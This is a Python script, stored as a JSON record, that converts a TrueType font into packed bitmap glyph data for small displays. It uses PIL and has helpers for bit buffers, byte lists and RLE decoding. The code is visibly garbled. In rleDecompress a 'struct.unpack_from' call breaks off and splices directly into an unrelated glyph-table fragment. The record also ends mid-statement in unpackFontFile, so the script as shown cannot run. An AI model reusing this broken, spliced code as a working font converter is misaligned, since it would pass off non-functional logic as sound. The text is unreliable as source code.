+{"seq_id":"1588257791","text":"#!/usr/bin/python3.7\n\nfrom PIL import ImageFont, Image\nimport struct\nimport argparse\nimport logging\nimport ColoredLogger\nimport intelhex\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-f\", \"--font\", default=\"LiberationSans-Regular.ttf\", help=\"Fontfile Default:LiberationSans-Regular.ttf\")\nparser.add_argument(\"-s\", \"--size\", type=int, default=20, help=\"Fontsize Default:20\")\nparser.add_argument(\"-o\", \"--output\", default='bin', choices=['bin','hex','c'], help=\"Output format\")\n\nparser.add_argument(\"-v\", \"--verbose\", action='count', default=0, help=\"increase verbosity\")\nparser.add_argument(\"-q\", \"--quieter\", action='count', default=0, help=\"decrease verbosity\")\nparser.add_argument(\"--quiet\", action='store_true', help=\"do not print anything\")\n\nargs = parser.parse_args()\n\nlogging.setLoggerClass(ColoredLogger.ColoredLogger)\nlogger = logging.getLogger('Font Generator')\nlogger.setLevel(logging.INFO - (args.verbose * 10) + (args.quieter * 10))\nif args.quiet:\n logger.disabled = 1\n logger.setLevel(logging.CRITICAL + 10)\n\n\n\n\nfilename = args.font\nfontsize = args.size\n\n\nlogger.info(f\"Using '{filename}' at size {fontsize}\")\n\nfName, fSuffix = filename.split(\".\")\n\n\nfont = ImageFont.truetype(font = filename, size = fontsize)\n\nfontInfo = {\n \"size\" : fontsize,\n \"file\" : filename,\n \"family\" : font.font.family,\n \"style\" : font.font.style,\n \"fileName\" : fName,\n \"fileSuffix\" : fSuffix,\n \"filePath\" : font.path\n}\n\n#print(h)\ndef font2bitBuffer(font, char):\n w, h = font.getsize(char)\n h = font.font.height\n\n x, y = font.getoffset(char)\n mask = font.getmask(char)\n\n cw, ch = mask.size\n\n logger.debug(cw, ch, x, y, w,h)\n\n bitBuffer = [[0]*h for i in range(w)]\n for i in range(ch):\n for j in range(cw):\n try:\n bitBuffer[j+x][h-(i+y)] = 1 if mask.getpixel((j, i)) > 100 else 0\n except IndexError:\n pass\n return(bitBuffer)\n\ndef printBitBuffer(bitBuffer):\n w = len(bitBuffer)\n h = len(bitBuffer[0])\n print(\"* \" + \"* \" * w + \"*\")\n for i in range(h):\n print(\"* \", end=\"\")\n for j in range(w):\n print(\"# \" if bitBuffer[j][i] else \" \", end=\"\")\n print(\"*\")\n print(\"* \" + \"* \" * w + \"*\")\n\n\ndef bitBuffer2bytesList(bitBuffer):\n byteList = []\n\n for col in bitBuffer:\n accumolatur = 0\n position = 0\n for pix in col:\n if pix:\n accumolatur |= 1\n accumolatur <<= 1\n position += 1\n #print(position)\n if position > 7:\n byteList += [accumolatur >> 1]\n accumolatur = 0\n position = 0\n if position > 0:\n accumolatur <<= 8 - position\n byteList += [accumolatur &0xff]\n return(byteList)\n\ndef bytesList2bitBuffer(data, h, w):\n bitBuffer = [[0]*h for i in range(w)]\n bpos = 0\n for col in range(w):\n position = 0\n for pix in range(h):\n if data[bpos] & (0x80 >> position):\n bitBuffer[col][pix] = 1\n position += 1\n if position > 7:\n bpos += 1\n position = 0\n bpos += 1\n return bitBuffer\n\ndef rleDecompress(rle):\n data = []\n i = 0\n #print(len(rle))\n while i < len(rle):\n n = struct.unpack_from(\" 0:\n unpackGlyphTable(fontFile[nextOffset:], height)\n\n\ndef unpackFontFile(fontFile):\n height, metadataOffset, glyphTableOffset = struct.unpack(\"